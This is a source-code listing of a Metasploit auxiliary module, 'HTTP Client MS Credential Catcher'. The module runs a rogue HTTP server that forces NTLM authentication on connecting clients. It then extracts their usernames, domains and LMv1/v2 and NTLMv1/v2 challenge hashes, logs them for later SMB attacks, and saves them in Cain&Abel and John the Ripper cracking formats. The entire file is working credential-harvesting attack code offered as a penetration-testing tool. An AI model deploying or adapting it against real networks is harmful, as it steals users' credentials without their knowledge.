root / modules / auxiliary / server / capture / http_ntlm.rb @ master
History | View | Annotate | Download (12.7 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
require 'rex/proto/ntlm/constants'
|
| 15 |
require 'rex/proto/ntlm/message'
|
| 16 |
require 'rex/proto/ntlm/crypt'
|
| 17 |
|
| 18 |
NTLM_CONST = Rex::Proto::NTLM::Constants |
| 19 |
NTLM_CRYPT = Rex::Proto::NTLM::Crypt |
| 20 |
MESSAGE = Rex::Proto::NTLM::Message |
| 21 |
|
| 22 |
class Metasploit3 < Msf::Auxiliary |
| 23 |
|
| 24 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 25 |
include Msf::Auxiliary::Report |
| 26 |
|
| 27 |
def initialize(info = {}) |
| 28 |
super(update_info(info,
|
| 29 |
'Name' => 'HTTP Client MS Credential Catcher', |
| 30 |
'Version' => '$Revision$', |
| 31 |
'Description' => %q{ |
| 32 |
This module attempts to quietly catch NTLM/LM Challenge hashes. |
| 33 |
},
|
| 34 |
'Author' =>
|
| 35 |
[ |
| 36 |
'Ryan Linn <sussurro[at]happypacket.net>',
|
| 37 |
], |
| 38 |
'Version' => '$Revision$', |
| 39 |
'License' => MSF_LICENSE, |
| 40 |
'Actions' =>
|
| 41 |
[ |
| 42 |
[ 'WebServer' ]
|
| 43 |
], |
| 44 |
'PassiveActions' =>
|
| 45 |
[ |
| 46 |
'WebServer'
|
| 47 |
], |
| 48 |
'DefaultAction' => 'WebServer')) |
| 49 |
|
| 50 |
register_options([ |
| 51 |
#OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]),
|
| 52 |
OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), |
| 53 |
OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), |
| 54 |
OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ]) |
| 55 |
|
| 56 |
], self.class)
|
| 57 |
|
| 58 |
register_advanced_options([ |
| 59 |
OptString.new('DOMAIN', [ false, "The default domain to use for NTLM authentication", "DOMAIN"]), |
| 60 |
OptString.new('SERVER', [ false, "The default server to use for NTLM authentication", "SERVER"]), |
| 61 |
OptString.new('DNSNAME', [ false, "The default DNS server name to use for NTLM authentication", "SERVER"]), |
| 62 |
OptString.new('DNSDOMAIN', [ false, "The default DNS domain name to use for NTLM authentication", "example.com"]), |
| 63 |
OptBool.new('FORCEDEFAULT', [ false, "Force the default settings", false]) |
| 64 |
], self.class)
|
| 65 |
|
| 66 |
end
|
| 67 |
|
| 68 |
def on_request_uri(cli, request) |
| 69 |
print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
|
| 70 |
|
| 71 |
# If the host has not started auth, send 401 authenticate with only the NTLM option
|
| 72 |
if(!request.headers['Authorization']) |
| 73 |
response = create_response(401, "Unauthorized") |
| 74 |
response.headers['WWW-Authenticate'] = "NTLM" |
| 75 |
cli.send_response(response) |
| 76 |
else
|
| 77 |
method,hash = request.headers['Authorization'].split(/\s+/,2) |
| 78 |
# If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
|
| 79 |
if(method != "NTLM") |
| 80 |
print_status("Unrecognized Authorization header, responding with 404")
|
| 81 |
send_not_found(cli) |
| 82 |
return false |
| 83 |
end
|
| 84 |
|
| 85 |
response = handle_auth(cli,hash) |
| 86 |
cli.send_response(response) |
| 87 |
end
|
| 88 |
end
|
| 89 |
|
| 90 |
def run |
| 91 |
if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/ |
| 92 |
@challenge = [ datastore['CHALLENGE'] ].pack("H*") |
| 93 |
else
|
| 94 |
print_error("CHALLENGE syntax must match 1122334455667788")
|
| 95 |
return
|
| 96 |
end
|
| 97 |
exploit() |
| 98 |
end
|
| 99 |
|
| 100 |
def handle_auth(cli,hash) |
| 101 |
#authorization string is base64 encoded message
|
| 102 |
message = Rex::Text.decode_base64(hash) |
| 103 |
|
| 104 |
if(message[8,1] == "\x01") |
| 105 |
domain = datastore['DOMAIN']
|
| 106 |
server = datastore['SERVER']
|
| 107 |
dnsname = datastore['DNSNAME']
|
| 108 |
dnsdomain = datastore['DNSDOMAIN']
|
| 109 |
|
| 110 |
if(!datastore['FORCEDEFAULT']) |
| 111 |
dom,ws = parse_type1_domain(message) |
| 112 |
if(dom)
|
| 113 |
domain = dom |
| 114 |
end
|
| 115 |
if(ws)
|
| 116 |
server = ws |
| 117 |
end
|
| 118 |
end
|
| 119 |
|
| 120 |
response = create_response(401, "Unauthorized") |
| 121 |
chalhash = MESSAGE.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain) |
| 122 |
response.headers['WWW-Authenticate'] = "NTLM " + chalhash |
| 123 |
return response
|
| 124 |
|
| 125 |
#if the message is a type 3 message, then we have our creds
|
| 126 |
elsif(message[8,1] == "\x03") |
| 127 |
domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(hash)
|
| 128 |
nt_len = ntlm_hash.length |
| 129 |
|
| 130 |
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session |
| 131 |
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
| 132 |
:lm_hash => lm_hash,
|
| 133 |
:nt_hash => ntlm_hash
|
| 134 |
} |
| 135 |
|
| 136 |
if arg[:lm_hash][16,32] == '0' * 32 |
| 137 |
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE |
| 138 |
end
|
| 139 |
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
| 140 |
# a ntlmv2 response
|
| 141 |
elsif nt_len > 48 #lmv2/ntlmv2 |
| 142 |
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
| 143 |
:lm_hash => lm_hash[0, 32], |
| 144 |
:lm_cli_challenge => lm_hash[32, 16], |
| 145 |
:nt_hash => ntlm_hash[0, 32], |
| 146 |
:nt_cli_challenge => ntlm_hash[32, nt_len - 32] |
| 147 |
} |
| 148 |
elsif nt_len == 0 |
| 149 |
print_status("Empty hash from #{host} captured, ignoring ... ")
|
| 150 |
else
|
| 151 |
print_status("Unknown hash type from #{host}, ignoring ...")
|
| 152 |
end
|
| 153 |
|
| 154 |
# If we get an empty hash, or unknown hash type, arg is not set.
|
| 155 |
# So why try to read from it?
|
| 156 |
if not arg.nil? |
| 157 |
arg[:host] = host
|
| 158 |
arg[:user] = user
|
| 159 |
arg[:domain] = domain
|
| 160 |
arg[:ip] = cli.peerhost
|
| 161 |
html_get_hash(arg) |
| 162 |
end
|
| 163 |
|
| 164 |
response = create_response(200)
|
| 165 |
response.headers['Cache-Control'] = "no-cache" |
| 166 |
return response
|
| 167 |
else
|
| 168 |
response = create_response(200)
|
| 169 |
response.headers['Cache-Control'] = "no-cache" |
| 170 |
return response
|
| 171 |
end
|
| 172 |
|
| 173 |
end
|
| 174 |
|
| 175 |
def parse_type1_domain(message) |
| 176 |
domain = nil
|
| 177 |
workstation = nil
|
| 178 |
|
| 179 |
reqflags = message[12,4] |
| 180 |
reqflags = reqflags.unpack("V").first
|
| 181 |
|
| 182 |
if((reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN) |
| 183 |
dom_len = message[16,2].unpack('v')[0].to_i |
| 184 |
dom_off = message[20,2].unpack('v')[0].to_i |
| 185 |
domain = message[dom_off,dom_len].to_s |
| 186 |
end
|
| 187 |
if((reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION) |
| 188 |
wor_len = message[24,2].unpack('v')[0].to_i |
| 189 |
wor_off = message[28,2].unpack('v')[0].to_i |
| 190 |
workstation = message[wor_off,wor_len].to_s |
| 191 |
end
|
| 192 |
return domain,workstation
|
| 193 |
|
| 194 |
end
|
| 195 |
|
| 196 |
def html_get_hash(arg = {}) |
| 197 |
ntlm_ver = arg[:ntlm_ver]
|
| 198 |
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE |
| 199 |
lm_hash = arg[:lm_hash]
|
| 200 |
nt_hash = arg[:nt_hash]
|
| 201 |
else
|
| 202 |
lm_hash = arg[:lm_hash]
|
| 203 |
nt_hash = arg[:nt_hash]
|
| 204 |
lm_cli_challenge = arg[:lm_cli_challenge]
|
| 205 |
nt_cli_challenge = arg[:nt_cli_challenge]
|
| 206 |
end
|
| 207 |
domain = arg[:domain]
|
| 208 |
user = arg[:user]
|
| 209 |
host = arg[:host]
|
| 210 |
ip = arg[:ip]
|
| 211 |
|
| 212 |
unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then |
| 213 |
|
| 214 |
@previous_lm_hash = lm_hash
|
| 215 |
@previous_ntlm_hash = nt_hash
|
| 216 |
|
| 217 |
# Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly
|
| 218 |
case ntlm_ver
|
| 219 |
when NTLM_CONST::NTLM_V1_RESPONSE |
| 220 |
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, |
| 221 |
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' }) |
| 222 |
print_status("NLMv1 Hash correspond to an empty password, ignoring ... ")
|
| 223 |
return
|
| 224 |
end
|
| 225 |
if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then |
| 226 |
lm_hash_message = "Disabled"
|
| 227 |
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, |
| 228 |
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' }) |
| 229 |
lm_hash_message = "Disabled (from empty password)"
|
| 230 |
else
|
| 231 |
lm_hash_message = lm_hash |
| 232 |
lm_chall_message = lm_cli_challenge |
| 233 |
end
|
| 234 |
when NTLM_CONST::NTLM_V2_RESPONSE |
| 235 |
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, |
| 236 |
:cli_challenge => [nt_cli_challenge].pack("H*"), |
| 237 |
:user => Rex::Text::to_ascii(user), |
| 238 |
:domain => Rex::Text::to_ascii(domain), |
| 239 |
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' }) |
| 240 |
print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ")
|
| 241 |
return
|
| 242 |
end
|
| 243 |
if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 |
| 244 |
lm_hash_message = "Disabled"
|
| 245 |
lm_chall_message = 'Disabled'
|
| 246 |
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, |
| 247 |
:cli_challenge => [lm_cli_challenge].pack("H*"), |
| 248 |
:user => Rex::Text::to_ascii(user), |
| 249 |
:domain => Rex::Text::to_ascii(domain), |
| 250 |
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' }) |
| 251 |
lm_hash_message = "Disabled (from empty password)"
|
| 252 |
lm_chall_message = 'Disabled'
|
| 253 |
else
|
| 254 |
lm_hash_message = lm_hash |
| 255 |
lm_chall_message = lm_cli_challenge |
| 256 |
end
|
| 257 |
|
| 258 |
when NTLM_CONST::NTLM_2_SESSION_RESPONSE |
| 259 |
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, |
| 260 |
:cli_challenge => [lm_hash].pack("H*")[0,8], |
| 261 |
:ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' }) |
| 262 |
print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ")
|
| 263 |
return
|
| 264 |
end
|
| 265 |
lm_hash_message = lm_hash |
| 266 |
lm_chall_message = lm_cli_challenge |
| 267 |
end
|
| 268 |
|
| 269 |
# Display messages
|
| 270 |
domain = Rex::Text::to_ascii(domain) |
| 271 |
user = Rex::Text::to_ascii(user) |
| 272 |
|
| 273 |
capturedtime = Time.now.to_s
|
| 274 |
case ntlm_ver
|
| 275 |
when NTLM_CONST::NTLM_V1_RESPONSE |
| 276 |
smb_db_type_hash = "smb_netv1_hash"
|
| 277 |
capturelogmessage = |
| 278 |
"#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" +
|
| 279 |
"DOMAIN: #{domain} USER: #{user} \n" +
|
| 280 |
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
|
| 281 |
when NTLM_CONST::NTLM_V2_RESPONSE |
| 282 |
smb_db_type_hash = "smb_netv2_hash"
|
| 283 |
capturelogmessage = |
| 284 |
"#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" +
|
| 285 |
"DOMAIN: #{domain} USER: #{user} \n" +
|
| 286 |
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " +
|
| 287 |
"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
|
| 288 |
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
|
| 289 |
"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
|
| 290 |
when NTLM_CONST::NTLM_2_SESSION_RESPONSE |
| 291 |
#we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr
|
| 292 |
#also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture
|
| 293 |
smb_db_type_hash = "smb_netv1_hash"
|
| 294 |
capturelogmessage = |
| 295 |
"#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" +
|
| 296 |
"DOMAIN: #{domain} USER: #{user} \n" +
|
| 297 |
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" +
|
| 298 |
"NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n"
|
| 299 |
|
| 300 |
else # should not happen |
| 301 |
return
|
| 302 |
end
|
| 303 |
|
| 304 |
print_status(capturelogmessage) |
| 305 |
|
| 306 |
# DB reporting
|
| 307 |
# Rem : one report it as a smb_challenge on port 445 has breaking those hashes
|
| 308 |
# will be mainly use for psexec / smb related exploit
|
| 309 |
report_auth_info( |
| 310 |
:host => ip,
|
| 311 |
:port => 445, |
| 312 |
:sname => 'smb_challenge', |
| 313 |
:user => user,
|
| 314 |
:pass => domain + ":" + |
| 315 |
( lm_hash + lm_cli_challenge.to_s ? lm_hash + lm_cli_challenge.to_s : "00" * 24 ) + ":" + |
| 316 |
( nt_hash + nt_cli_challenge.to_s ? nt_hash + nt_cli_challenge.to_s : "00" * 24 ) + ":" + |
| 317 |
datastore['CHALLENGE'].to_s,
|
| 318 |
:type => smb_db_type_hash,
|
| 319 |
:proof => "DOMAIN=#{domain}", |
| 320 |
:source_type => "captured", |
| 321 |
:active => true |
| 322 |
) |
| 323 |
#if(datastore['LOGFILE'])
|
| 324 |
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
|
| 325 |
#end
|
| 326 |
|
| 327 |
if(datastore['CAINPWFILE'] and user) |
| 328 |
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE |
| 329 |
fd = File.open(datastore['CAINPWFILE'], "ab") |
| 330 |
fd.puts( |
| 331 |
[ |
| 332 |
user, |
| 333 |
domain ? domain : "NULL",
|
| 334 |
@challenge.unpack("H*")[0], |
| 335 |
lm_hash ? lm_hash : "0" * 48, |
| 336 |
nt_hash ? nt_hash : "0" * 48 |
| 337 |
].join(":").gsub(/\n/, "\\n") |
| 338 |
) |
| 339 |
fd.close |
| 340 |
end
|
| 341 |
end
|
| 342 |
|
| 343 |
if(datastore['JOHNPWFILE'] and user) |
| 344 |
case ntlm_ver
|
| 345 |
when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE |
| 346 |
|
| 347 |
fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab") |
| 348 |
fd.puts( |
| 349 |
[ |
| 350 |
user,"",
|
| 351 |
domain ? domain : "NULL",
|
| 352 |
lm_hash ? lm_hash : "0" * 48, |
| 353 |
nt_hash ? nt_hash : "0" * 48, |
| 354 |
@challenge.unpack("H*")[0] |
| 355 |
].join(":").gsub(/\n/, "\\n") |
| 356 |
) |
| 357 |
fd.close |
| 358 |
when NTLM_CONST::NTLM_V2_RESPONSE |
| 359 |
#lmv2
|
| 360 |
fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab") |
| 361 |
fd.puts( |
| 362 |
[ |
| 363 |
user,"",
|
| 364 |
domain ? domain : "NULL",
|
| 365 |
@challenge.unpack("H*")[0], |
| 366 |
lm_hash ? lm_hash : "0" * 32, |
| 367 |
lm_cli_challenge ? lm_cli_challenge : "0" * 16 |
| 368 |
].join(":").gsub(/\n/, "\\n") |
| 369 |
) |
| 370 |
fd.close |
| 371 |
#ntlmv2
|
| 372 |
fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab") |
| 373 |
fd.puts( |
| 374 |
[ |
| 375 |
user,"",
|
| 376 |
domain ? domain : "NULL",
|
| 377 |
@challenge.unpack("H*")[0], |
| 378 |
nt_hash ? nt_hash : "0" * 32, |
| 379 |
nt_cli_challenge ? nt_cli_challenge : "0" * 160 |
| 380 |
].join(":").gsub(/\n/, "\\n") |
| 381 |
) |
| 382 |
fd.close |
| 383 |
end
|
| 384 |
|
| 385 |
end
|
| 386 |
end
|
| 387 |
end
|
| 388 |
|
| 389 |
end
|